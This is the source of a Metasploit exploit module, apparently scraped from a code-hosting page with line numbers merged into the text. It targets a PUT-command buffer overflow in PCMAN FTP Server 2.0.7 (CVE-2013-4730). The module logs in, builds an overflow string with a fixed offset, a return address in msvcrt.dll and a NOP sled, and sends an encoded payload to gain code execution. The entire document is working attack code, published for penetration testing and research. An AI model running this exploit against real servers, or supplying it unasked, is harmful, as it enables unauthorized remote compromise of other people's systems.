Path: blob/master/modules/exploits/windows/ftp/pcman_put.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command',15'Description' => %q{16This module exploits a buffer overflow vulnerability found in the PUT command of the17PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous18credentials are enabled.19},20'Author' => [21'Jay Turla', # Initial Discovery -- @shipcod322'Chris Higgins' # msf Module -- @ch1gg1ns23],24'License' => MSF_LICENSE,25'References' => [26[ 'CVE', '2013-4730' ],27[ 'EDB', '37731'],28[ 'OSVDB', '94624']29],30'DefaultOptions' => {31'EXITFUNC' => 'process'32},33'Payload' => {34'Space' => 1000,35'BadChars' => "\x00\x0A\x0D",36},37'Platform' => 'win',38'Targets' => [39[40'Windows XP SP3 English',41{42'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll43'Offset' => 200744}45],46],47'DisclosureDate' => '2015-08-07',48'DefaultTarget' => 0,49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)56end5758def post_auth?59true60end6162def check63connect_login64disconnect6566if /220 PCMan's FTP Server 2\.0/ === banner67Exploit::CheckCode::Appears68else69Exploit::CheckCode::Safe70end71end7273def exploit74connect_login7576print_status('Generating payload...')77sploit = rand_text_alpha(target['Offset'])78sploit << [target.ret].pack('V')79sploit << make_nops(16)80sploit << payload.encoded8182send_cmd(["PUT", sploit], false)83disconnect84end85end868788